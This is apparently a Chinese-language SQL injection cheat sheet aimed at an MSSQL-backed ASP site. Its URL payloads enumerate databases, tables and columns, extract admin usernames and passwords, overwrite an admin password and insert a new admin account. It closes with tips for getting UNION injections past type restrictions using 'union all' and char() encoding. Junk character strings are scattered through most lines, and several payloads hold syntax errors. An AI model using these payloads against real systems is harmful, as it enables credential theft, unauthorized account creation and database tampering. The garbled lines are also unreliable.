爆库:3 z& Z/ P2 b# @+ C$ c5 m
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--" t5 `; [5 T; c$ }- |
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
7 G! h% U; ^: v8 C5 n1 x/ C6 |& f* N爆下一个库:; x# S- \: c8 o1 E. F H
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
# F6 H) n' U8 f+ N7 |: X, V& L5 V4 M
爆表:6 Y+ I/ H: y0 ~; Z
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
3 N6 `- K, y; Z5 S/ c ?# j) F7 P) p6 i ], r! V8 L2 ^. W! S
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
0 w# F8 L0 {8 A/ _& N+ e
. x) W- x \- P! L$ P8 R- T爆下一个表
$ R9 S( A% P/ w. n/ t9 x1 |http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--, O( _9 ~% ^( K9 d, A
( W) e0 j( Q9 @+ O6 Y5 qhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
0 d2 ?, P# ]/ t8 l) ^- H- z7 Z( V" s* d( ]( b2 ?2 s9 B
, A6 M1 J4 ]; T Z7 ]
6 i8 E. P! u& j: f* x爆字段:
; }: p, Q/ y% i( l# r0 S' u4 `http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--/ L1 k; s/ R7 F0 j
5 p; H) F8 P6 s. J k7 B- S. g2 q. v
爆下一个字段
+ J* x' D5 q* z X; r, Q. {http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--+ X9 s+ e- }8 R3 w. H6 J( c
0 q6 B; w9 u7 T! zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--' C Q$ j K7 ?+ r9 y- C% l
2 k# n6 Q1 d7 M) \$ o- T; j! I& Q. `
) U1 [4 p1 L4 J3 g) G
爆字段里的内容
& q+ g6 k+ s3 ]4 _9 V- I5 w2 ghttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--1 w8 Q- ?' B; R" k
" T. C$ H& `8 {: }1 Y
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
0 m% ~1 O; `; ^, w* e( [7 ]0 w9 a0 f* E( \# n0 p- }
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
8 \2 R& x, z% M" T
- y" K: k2 z1 A) Bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--6 m& H/ S. t* j: Y- ], V1 j! }% e
, Y$ @7 Z' o$ p* c更新字段里的内容; o# N u' D$ q# ?! v/ _2 G
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
8 y% A* d( O4 F, K/ y0 r' ?/ N2 J- L: f: [
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--3 o. A0 P; `) a1 C/ s# M
- o2 b' q. N& q; M8 T+ E
* }7 G- H! r; i! f2 X+ c( W
- Y" ~, L$ k2 W& c I. Y+ o* J 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
6 l, h, P& [5 b* p8 c 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
) m6 w7 r3 f2 Y) ]( j 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。' v6 q$ K( L7 R9 B
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
G$ F; T' m: y9 }. Q: W3 ~
# L+ I3 x9 S3 T( y突了了大部份限制的语句
1 N6 ~, s6 e' d+ u. f$ ?+ f8 Qand 1=2 union all select char(49),char(50),null,null;--
2 }1 q. P7 h$ }$ {2 S7 V; U" N# k8 e
9 o' y" m) V* l
, F0 X# \2 n* g" ?* q- l, \null也可以正常执行,不过没有回显,不好判断回显的列数。5 z5 k6 Z0 k8 X
一般union遇到问题都是有text或者ntext字段,image的很少遇到
8 ]2 y3 o" \5 [( b1 E- Z# [! |) ^# E& y
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟3 q/ y+ d% {" e" ]3 L
# p, [/ Z( W. s; s! V, v/ _( N# H/ k0 f' e
. F6 W5 Z* T/ G" v. F: c$ ]! p |